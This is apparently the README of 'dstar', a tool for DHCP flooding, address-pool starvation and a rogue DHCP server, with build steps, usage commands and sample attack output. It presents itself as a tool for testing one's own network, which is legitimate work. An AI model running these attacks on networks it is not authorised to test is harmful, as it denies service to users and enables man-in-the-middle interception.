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GPLv3 License

Dstar 🔨

This tool implement various DHCP attacks and can be used to make experiments and test on your network!

Supported features:

  • Flood -> Flood DHCP server with large amount of DHCP discover messages (this attack does not acquire addresses!)
  • Starvation -> Try to acquire all addresses in DHCP pool, you can use this option with a rogue DHCP server... MITM? 😏
  • Built-in rogue DHCP server

Prerequisites

$ sudo apt-get install -y build-essential cmake zlib1g-dev

Setting up dstar

First of all getting the code from repository:

$ git clone https://github.com/jacopodl/dstar

Compile it with followings command:

$ cd dstar
$ git submodule init && git submodule update
$ cmake .
$ make

Or if you are very busy:

$ ./build.sh

Usage example

Flood DHCP server with discover messages:

$ sudo ./dstar %interface% --flood

Exhaust DHCP pool and release all addresses on exit:

$ sudo ./dstar %interface% --starvation

without release addresses:

$ sudo ./dstar %interface% --starvation --no-release

Setting up rogue DHCP server with the stolen addresses:

$ sudo ./dstar %interface% --starvation --server

Getting help with:

$ ./dstar --help

Action snapshot 📷

$ sudo ./dstar %interface% --starvation

@@@@@@@    @@@@@@   @@@@@@@   @@@@@@   @@@@@@@
@@@@@@@@  @@@@@@@   @@@@@@@  @@@@@@@@  @@@@@@@@
@@!  @@@  !@@         @@!    @@!  @@@  @@!  @@@
!@!  @!@  !@!         !@!    !@!  @!@  !@!  @!@
@!@  !@!  !!@@!!      @!!    @!@!@!@!  @!@!!@!
!@!  !!!   !!@!!!     !!!    !!!@!!!!  !!@!@!
!!:  !!!       !:!    !!:    !!:  !!!  !!: :!!
:!:  !:!      !:!     :!:    :!:  !:!  :!:  !:!
 :::: ::  :::: ::      ::    ::   :::  ::   :::
:: :  :   :: : :       :      :   : :   :   : :
                                                 vX.x.x


[<---] DHCP DISCOVER
[--->] DHCP OFFER
[<---] DHCP REQUEST
[--->V] DHCP ACK
	Ip:192.168.1.99 - MAC:52:c5:b9:35:0c:42 lease(s):21600

[<---] DHCP DISCOVER
[--->] DHCP OFFER
[<---] DHCP REQUEST
[--->V] DHCP ACK
	Ip:192.168.1.118 - MAC:12:3c:09:28:ac:cb lease(s):21600

[<---] DHCP DISCOVER
^CStopping...
Releasing addresses...
All done!

Possible improvements:

  • Multithread capability
  • DHCPv6